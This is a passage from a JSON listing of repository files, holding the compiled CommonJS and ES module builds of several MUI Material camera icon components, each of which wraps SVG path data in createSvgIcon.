    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 3 7.17 5H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2h-3.17L15 3zm3 15c-2.76 0-5-2.24-5-5s2.24-5 5-5 5 2.24 5 5-2.24 5-5 5\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m12 17 1.25-2.75L16 13l-2.75-1.25L12 9l-1.25 2.75L8 13l2.75 1.25z\"\n}, \"1\")], 'CameraEnhance');"
  },
  {
    "path": "packages/mui-icons-material/lib/CameraEnhance.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 3 7.17 5H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2h-3.17L15 3zm3 15c-2.76 0-5-2.24-5-5s2.24-5 5-5 5 2.24 5 5-2.24 5-5 5\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m12 17 1.25-2.75L16 13l-2.75-1.25L12 9l-1.25 2.75L8 13l2.75 1.25z\"\n}, \"1\")], 'CameraEnhance');"
  },
  {
    "path": "packages/mui-icons-material/lib/CameraEnhanceOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m12 10-.94 2.06L9 13l2.06.94L12 16l.94-2.06L15 13l-2.06-.94zm8-5h-3.17L15 3H9L7.17 5H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2m0 14H4V7h4.05l.59-.65L9.88 5h4.24l1.24 1.35.59.65H20zM12 8c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m0 8c-1.65 0-3-1.35-3-3s1.35-3 3-3 3 1.35 3 3-1.35 3-3 3\"\n}), 'CameraEnhanceOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CameraEnhanceOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m12 10-.94 2.06L9 13l2.06.94L12 16l.94-2.06L15 13l-2.06-.94zm8-5h-3.17L15 3H9L7.17 5H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2m0 14H4V7h4.05l.59-.65L9.88 5h4.24l1.24 1.35.59.65H20zM12 8c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m0 8c-1.65 0-3-1.35-3-3s1.35-3 3-3 3 1.35 3 3-1.35 3-3 3\"\n}), 'CameraEnhanceOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CameraEnhanceRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 5h-3.17l-1.24-1.35c-.37-.41-.91-.65-1.47-.65H9.88c-.56 0-1.1.24-1.48.65L7.17 5H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2m-8 13c-2.76 0-5-2.24-5-5s2.24-5 5-5 5 2.24 5 5-2.24 5-5 5m0-9-1.25 2.75L8 13l2.75 1.25L12 17l1.25-2.75L16 13l-2.75-1.25z\"\n}), 'CameraEnhanceRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CameraEnhanceRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 5h-3.17l-1.24-1.35c-.37-.41-.91-.65-1.47-.65H9.88c-.56 0-1.1.24-1.48.65L7.17 5H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2m-8 13c-2.76 0-5-2.24-5-5s2.24-5 5-5 5 2.24 5 5-2.24 5-5 5m0-9-1.25 2.75L8 13l2.75 1.25L12 17l1.25-2.75L16 13l-2.75-1.25z\"\n}), 'CameraEnhanceRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CameraEnhanceSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.83 5 15 3H9L7.17 5H2v16h20V5zM12 18c-2.76 0-5-2.24-5-5s2.24-5 5-5 5 2.24 5 5-2.24 5-5 5m0-9-1.25 2.75L8 13l2.75 1.25L12 17l1.25-2.75L16 13l-2.75-1.25z\"\n}), 'CameraEnhanceSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CameraEnhanceSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.83 5 15 3H9L7.17 5H2v16h20V5zM12 18c-2.76 0-5-2.24-5-5s2.24-5 5-5 5 2.24 5 5-2.24 5-5 5m0-9-1.25 2.75L8 13l2.75 1.25L12 17l1.25-2.75L16 13l-2.75-1.25z\"\n}), 'CameraEnhanceSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CameraEnhanceTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m15.95 7-.59-.65L14.12 5H9.88L8.65 6.35l-.6.65H4v12h16V7zM12 18c-2.76 0-5-2.24-5-5s2.24-5 5-5 5 2.24 5 5-2.24 5-5 5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m12 10-.94 2.06L9 13l2.06.94L12 16l.94-2.06L15 13l-2.06-.94zm8-5h-3.17L15 3H9L7.17 5H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2m0 14H4V7h4.05l.59-.65L9.88 5h4.24l1.24 1.35.59.65H20zM12 8c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m0 8c-1.65 0-3-1.35-3-3s1.35-3 3-3 3 1.35 3 3-1.35 3-3 3\"\n}, \"1\")], 'CameraEnhanceTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CameraEnhanceTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m15.95 7-.59-.65L14.12 5H9.88L8.65 6.35l-.6.65H4v12h16V7zM12 18c-2.76 0-5-2.24-5-5s2.24-5 5-5 5 2.24 5 5-2.24 5-5 5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m12 10-.94 2.06L9 13l2.06.94L12 16l.94-2.06L15 13l-2.06-.94zm8-5h-3.17L15 3H9L7.17 5H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2m0 14H4V7h4.05l.59-.65L9.88 5h4.24l1.24 1.35.59.65H20zM12 8c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m0 8c-1.65 0-3-1.35-3-3s1.35-3 3-3 3 1.35 3 3-1.35 3-3 3\"\n}, \"1\")], 'CameraEnhanceTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CameraFront.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 20H5v2h5v2l3-3-3-3zm4 0v2h5v-2zM12 8c1.1 0 2-.9 2-2s-.9-2-2-2-1.99.9-1.99 2S10.9 8 12 8m5-8H7C5.9 0 5 .9 5 2v14c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V2c0-1.1-.9-2-2-2M7 2h10v10.5c0-1.67-3.33-2.5-5-2.5s-5 .83-5 2.5z\"\n}), 'CameraFront');"
  },
  {
    "path": "packages/mui-icons-material/lib/CameraFront.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 20H5v2h5v2l3-3-3-3zm4 0v2h5v-2zM12 8c1.1 0 2-.9 2-2s-.9-2-2-2-1.99.9-1.99 2S10.9 8 12 8m5-8H7C5.9 0 5 .9 5 2v14c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V2c0-1.1-.9-2-2-2M7 2h10v10.5c0-1.67-3.33-2.5-5-2.5s-5 .83-5 2.5z\"\n}), 'CameraFront');"
  },
  {
    "path": "packages/mui-icons-material/lib/CameraFrontOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 20v2h5v2l3-3-3-3v2zm9 0h5v2h-5zM11.99 8C13.1 8 14 7.1 14 6s-.9-2-2.01-2S10 4.9 10 6s.89 2 1.99 2M17 0H7C5.9 0 5 .9 5 2v14c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V2c0-1.1-.9-2-2-2m0 16H7v-2h10zm0-3.5c0-1.67-3.33-2.5-5-2.5s-5 .83-5 2.5V2h10z\"\n}), 'CameraFrontOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CameraFrontOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 20v2h5v2l3-3-3-3v2zm9 0h5v2h-5zM11.99 8C13.1 8 14 7.1 14 6s-.9-2-2.01-2S10 4.9 10 6s.89 2 1.99 2M17 0H7C5.9 0 5 .9 5 2v14c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V2c0-1.1-.9-2-2-2m0 16H7v-2h10zm0-3.5c0-1.67-3.33-2.5-5-2.5s-5 .83-5 2.5V2h10z\"\n}), 'CameraFrontOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CameraFrontRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 0H7C5.9 0 5 .9 5 2v14c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V2c0-1.1-.9-2-2-2m0 12.5c0-1.67-3.33-2.5-5-2.5s-5 .83-5 2.5V3c0-.55.45-1 1-1h8c.55 0 1 .45 1 1zm-6.15 6.35c-.31-.31-.85-.09-.85.36V20H6c-.55 0-1 .45-1 1s.45 1 1 1h4v.79c0 .45.54.67.85.35l1.79-1.79c.2-.2.2-.51 0-.71zM18 20h-3c-.55 0-1 .45-1 1s.45 1 1 1h3c.55 0 1-.45 1-1s-.45-1-1-1M12 8c1.1 0 2-.9 2-2s-.9-2-2-2-1.99.9-1.99 2S10.9 8 12 8\"\n}), 'CameraFrontRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CameraFrontRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 0H7C5.9 0 5 .9 5 2v14c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V2c0-1.1-.9-2-2-2m0 12.5c0-1.67-3.33-2.5-5-2.5s-5 .83-5 2.5V3c0-.55.45-1 1-1h8c.55 0 1 .45 1 1zm-6.15 6.35c-.31-.31-.85-.09-.85.36V20H6c-.55 0-1 .45-1 1s.45 1 1 1h4v.79c0 .45.54.67.85.35l1.79-1.79c.2-.2.2-.51 0-.71zM18 20h-3c-.55 0-1 .45-1 1s.45 1 1 1h3c.55 0 1-.45 1-1s-.45-1-1-1M12 8c1.1 0 2-.9 2-2s-.9-2-2-2-1.99.9-1.99 2S10.9 8 12 8\"\n}), 'CameraFrontRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CameraFrontSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 20H5v2h5v2l3-3-3-3zm4 0v2h5v-2zM12 8c1.1 0 2-.9 2-2s-.9-2-2-2-1.99.9-1.99 2S10.9 8 12 8m7-8H5v18h14zM7 2h10v10.5c0-1.67-3.33-2.5-5-2.5s-5 .83-5 2.5z\"\n}), 'CameraFrontSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CameraFrontSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 20H5v2h5v2l3-3-3-3zm4 0v2h5v-2zM12 8c1.1 0 2-.9 2-2s-.9-2-2-2-1.99.9-1.99 2S10.9 8 12 8m7-8H5v18h14zM7 2h10v10.5c0-1.67-3.33-2.5-5-2.5s-5 .83-5 2.5z\"\n}), 'CameraFrontSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CameraFrontTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 14h10v2H7z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 20v2h5v2l3-3-3-3v2zm9 0h5v2h-5zM11.99 8C13.1 8 14 7.1 14 6s-.9-2-2.01-2S10 4.9 10 6s.89 2 1.99 2M17 0H7C5.9 0 5 .9 5 2v14c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V2c0-1.1-.9-2-2-2m0 16H7v-2h10zm0-3.5c0-1.67-3.33-2.5-5-2.5s-5 .83-5 2.5V2h10z\"\n}, \"1\")], 'CameraFrontTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CameraFrontTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 14h10v2H7z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 20v2h5v2l3-3-3-3v2zm9 0h5v2h-5zM11.99 8C13.1 8 14 7.1 14 6s-.9-2-2.01-2S10 4.9 10 6s.89 2 1.99 2M17 0H7C5.9 0 5 .9 5 2v14c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V2c0-1.1-.9-2-2-2m0 16H7v-2h10zm0-3.5c0-1.67-3.33-2.5-5-2.5s-5 .83-5 2.5V2h10z\"\n}, \"1\")], 'CameraFrontTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CameraIndoor.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 3 4 9v12h16V9zm4 13.06L14 15v1c0 .55-.45 1-1 1H9c-.55 0-1-.45-1-1v-4c0-.55.45-1 1-1h4c.55 0 1 .45 1 1v1l2-1.06z\"\n}), 'CameraIndoor');"
  },
  {
    "path": "packages/mui-icons-material/lib/CameraIndoor.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 3 4 9v12h16V9zm4 13.06L14 15v1c0 .55-.45 1-1 1H9c-.55 0-1-.45-1-1v-4c0-.55.45-1 1-1h4c.55 0 1 .45 1 1v1l2-1.06z\"\n}), 'CameraIndoor');"
  },
  {
    "path": "packages/mui-icons-material/lib/CameraIndoorOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 13v-1c0-.55-.45-1-1-1H9c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1h4c.55 0 1-.45 1-1v-1l2 1.06v-4.12zm-2-7.5 6 4.5v9H6v-9zM12 3 4 9v12h16V9z\"\n}), 'CameraIndoorOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CameraIndoorOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 13v-1c0-.55-.45-1-1-1H9c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1h4c.55 0 1-.45 1-1v-1l2 1.06v-4.12zm-2-7.5 6 4.5v9H6v-9zM12 3 4 9v12h16V9z\"\n}), 'CameraIndoorOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CameraIndoorRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m10.8 3.65-6 4.5c-.5.38-.8.97-.8 1.6v9c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2v-9c0-.63-.3-1.22-.8-1.6l-6-4.5c-.71-.53-1.69-.53-2.4 0m4.47 12.02L14 15v1c0 .55-.45 1-1 1H9c-.55 0-1-.45-1-1v-4c0-.55.45-1 1-1h4c.55 0 1 .45 1 1v1l1.27-.67c.33-.18.73.06.73.44v2.46c0 .38-.4.62-.73.44\"\n}), 'CameraIndoorRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CameraIndoorRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m10.8 3.65-6 4.5c-.5.38-.8.97-.8 1.6v9c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2v-9c0-.63-.3-1.22-.8-1.6l-6-4.5c-.71-.53-1.69-.53-2.4 0m4.47 12.02L14 15v1c0 .55-.45 1-1 1H9c-.55 0-1-.45-1-1v-4c0-.55.45-1 1-1h4c.55 0 1 .45 1 1v1l1.27-.67c.33-.18.73.06.73.44v2.46c0 .38-.4.62-.73.44\"\n}), 'CameraIndoorRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CameraIndoorSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 3 4 9v12h16V9zm4 13.06L14 15v2H8v-6h6v2l2-1.06z\"\n}), 'CameraIndoorSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CameraIndoorSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 3 4 9v12h16V9zm4 13.06L14 15v2H8v-6h6v2l2-1.06z\"\n}), 'CameraIndoorSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CameraIndoorTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 10v9h12v-9l-6-4.5zm8 2v1l2-1.06v4.12L14 15v1c0 .55-.45 1-1 1H9c-.55 0-1-.45-1-1v-4c0-.55.45-1 1-1h4c.55 0 1 .45 1 1\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 12v4c0 .55.45 1 1 1h4c.55 0 1-.45 1-1v-1l2 1.06v-4.12L14 13v-1c0-.55-.45-1-1-1H9c-.55 0-1 .45-1 1\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 3 4 9v12h16V9zm6 16H6v-9l6-4.5 6 4.5z\"\n}, \"2\")], 'CameraIndoorTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CameraIndoorTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 10v9h12v-9l-6-4.5zm8 2v1l2-1.06v4.12L14 15v1c0 .55-.45 1-1 1H9c-.55 0-1-.45-1-1v-4c0-.55.45-1 1-1h4c.55 0 1 .45 1 1\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 12v4c0 .55.45 1 1 1h4c.55 0 1-.45 1-1v-1l2 1.06v-4.12L14 13v-1c0-.55-.45-1-1-1H9c-.55 0-1 .45-1 1\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 3 4 9v12h16V9zm6 16H6v-9l6-4.5 6 4.5z\"\n}, \"2\")], 'CameraIndoorTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CameraOutdoor.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 13c0-.55-.45-1-1-1h-4c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1h4c.55 0 1-.45 1-1v-1l2 1.06v-4.12L18 14zM12 3 4 9v12h16v-2H6v-9l6-4.5 6 4.5v1h2V9z\"\n}), 'CameraOutdoor');"
  },
  {
    "path": "packages/mui-icons-material/lib/CameraOutdoor.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 13c0-.55-.45-1-1-1h-4c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1h4c.55 0 1-.45 1-1v-1l2 1.06v-4.12L18 14zM12 3 4 9v12h16v-2H6v-9l6-4.5 6 4.5v1h2V9z\"\n}), 'CameraOutdoor');"
  },
  {
    "path": "packages/mui-icons-material/lib/CameraOutdoorOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 13c0-.55-.45-1-1-1h-4c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1h4c.55 0 1-.45 1-1v-1l2 1.06v-4.12L18 14zM12 3 4 9v12h16v-2H6v-9l6-4.5 6 4.5v1h2V9z\"\n}), 'CameraOutdoorOutlined');"
  },
  {
